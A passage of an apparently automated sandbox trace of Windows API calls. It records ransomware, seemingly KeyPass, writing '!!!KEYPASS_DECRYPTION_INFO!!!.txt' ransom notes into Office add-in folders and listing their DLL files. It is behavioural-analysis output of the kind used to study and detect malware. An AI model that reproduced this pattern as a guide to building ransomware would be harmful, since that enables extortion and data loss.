returned=".dll" [0248.131] FindNextFileW (in: hFindFile=0x2efa088, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.131] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ne\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0248.131] FindNextFileW (in: hFindFile=0x2efa088, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0248.131] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0248.131] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0248.131] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38f5bd8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0248.131] GetLastError () returned 0x3f0 [0248.131] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nl\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0248.131] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0248.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\nl\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x718 [0248.165] GetFileType (hFile=0x718) returned 0x1 [0248.165] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0248.165] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0248.165] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0248.166] WriteFile (in: hFile=0x718, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0248.166] WriteFile (in: hFile=0x718, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0248.166] CloseHandle (hObject=0x718) returned 1 [0248.167] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nl\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9f08 [0248.167] FindNextFileW (in: hFindFile=0x2ef9f08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.167] FindNextFileW (in: hFindFile=0x2ef9f08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.167] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nl\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0248.167] FindNextFileW (in: hFindFile=0x2ef9f08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.167] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nl\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0248.167] FindNextFileW (in: hFindFile=0x2ef9f08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.167] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nl\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0248.167] FindNextFileW (in: hFindFile=0x2ef9f08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.167] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nl\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0248.167] FindNextFileW (in: hFindFile=0x2ef9f08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.167] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nl\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0248.167] FindNextFileW (in: hFindFile=0x2ef9f08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.167] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nl\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0248.167] FindNextFileW (in: hFindFile=0x2ef9f08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.168] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nl\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0248.168] FindNextFileW (in: hFindFile=0x2ef9f08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.168] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nl\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0248.168] FindNextFileW (in: hFindFile=0x2ef9f08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.168] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nl\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0248.168] FindNextFileW (in: hFindFile=0x2ef9f08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.168] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nl\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0248.168] FindNextFileW (in: hFindFile=0x2ef9f08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0248.168] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0248.168] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0248.168] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38f5a80 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0248.168] GetLastError () returned 0x3f0 [0248.168] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nn-NO\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nn-NO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0248.168] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nn-NO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0248.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nn-NO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\nn-no\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x714 [0248.213] GetFileType (hFile=0x714) returned 0x1 [0248.213] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0248.213] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0248.213] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0248.213] WriteFile (in: hFile=0x714, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0248.214] WriteFile (in: hFile=0x714, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0248.214] CloseHandle (hObject=0x714) returned 1 [0248.215] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nn-NO\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9f48 [0248.215] FindNextFileW (in: hFindFile=0x2ef9f48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.215] FindNextFileW (in: hFindFile=0x2ef9f48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.215] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nn-NO\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0248.215] FindNextFileW (in: hFindFile=0x2ef9f48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.215] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nn-NO\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0248.215] FindNextFileW (in: hFindFile=0x2ef9f48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.215] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nn-NO\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0248.215] FindNextFileW (in: hFindFile=0x2ef9f48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.215] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nn-NO\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0248.215] FindNextFileW (in: hFindFile=0x2ef9f48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.215] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nn-NO\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0248.215] FindNextFileW (in: hFindFile=0x2ef9f48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.216] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nn-NO\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0248.216] FindNextFileW (in: hFindFile=0x2ef9f48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0248.216] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0248.216] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0248.216] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38f5bd8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0248.216] GetLastError () returned 0x3f0 [0248.216] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\no\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\no\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0248.216] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\no\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0248.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\no\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\no\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x720 [0248.238] GetFileType (hFile=0x720) returned 0x1 [0248.239] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0248.239] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0248.239] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0248.239] WriteFile (in: hFile=0x720, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0248.240] WriteFile (in: hFile=0x720, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0248.240] CloseHandle (hObject=0x720) returned 1 [0248.240] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\no\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9f88 [0248.240] FindNextFileW (in: hFindFile=0x2ef9f88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.240] FindNextFileW (in: hFindFile=0x2ef9f88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.240] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\no\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0248.240] FindNextFileW (in: hFindFile=0x2ef9f88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.240] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\no\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0248.240] FindNextFileW (in: hFindFile=0x2ef9f88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.240] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\no\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0248.240] FindNextFileW (in: hFindFile=0x2ef9f88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.240] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\no\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0248.240] FindNextFileW (in: hFindFile=0x2ef9f88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.240] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\no\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0248.240] FindNextFileW (in: hFindFile=0x2ef9f88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.240] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\no\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0248.240] FindNextFileW (in: hFindFile=0x2ef9f88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.241] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\no\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0248.241] FindNextFileW (in: hFindFile=0x2ef9f88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.241] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\no\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0248.241] FindNextFileW (in: hFindFile=0x2ef9f88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.241] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\no\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0248.241] FindNextFileW (in: hFindFile=0x2ef9f88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.241] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\no\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0248.241] FindNextFileW (in: hFindFile=0x2ef9f88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0248.241] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0248.241] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\Office.dll") returned=".dll" [0248.241] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0248.241] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0248.241] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38f5bd8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0248.241] GetLastError () returned 0x3f0 [0248.241] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\or\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\or\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0248.241] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\or\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0248.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\or\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\or\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x724 [0248.245] GetFileType (hFile=0x724) returned 0x1 [0248.245] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0248.245] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0248.245] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0248.245] WriteFile (in: hFile=0x724, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0248.246] WriteFile (in: hFile=0x724, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0248.246] CloseHandle (hObject=0x724) returned 1 [0248.246] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\or\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9fc8 [0248.246] FindNextFileW (in: hFindFile=0x2ef9fc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.246] FindNextFileW (in: hFindFile=0x2ef9fc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.246] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\or\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0248.246] FindNextFileW (in: hFindFile=0x2ef9fc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.246] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\or\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0248.246] FindNextFileW (in: hFindFile=0x2ef9fc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.246] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\or\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0248.246] FindNextFileW (in: hFindFile=0x2ef9fc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.246] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\or\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0248.246] FindNextFileW (in: hFindFile=0x2ef9fc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.246] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\or\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0248.246] FindNextFileW (in: hFindFile=0x2ef9fc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0248.246] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\or\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0248.246] FindNextFileW (in: hFindFile=0x2ef9fc8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0248.247] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0248.247] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0248.247] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38f5bd8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0248.247] GetLastError () returned 0x3f0 [0248.247] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pa\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pa\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0248.247] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pa\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0248.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\pa\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\pa\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x728 [0248.327] GetFileType (hFile=0x728) returned 0x1 [0248.327] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0248.327] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0248.327] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0248.327] WriteFile (in: hFile=0x728, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0248.328] WriteFile (in: hFile=0x728, lpBuffer=0x2e4cae0*, 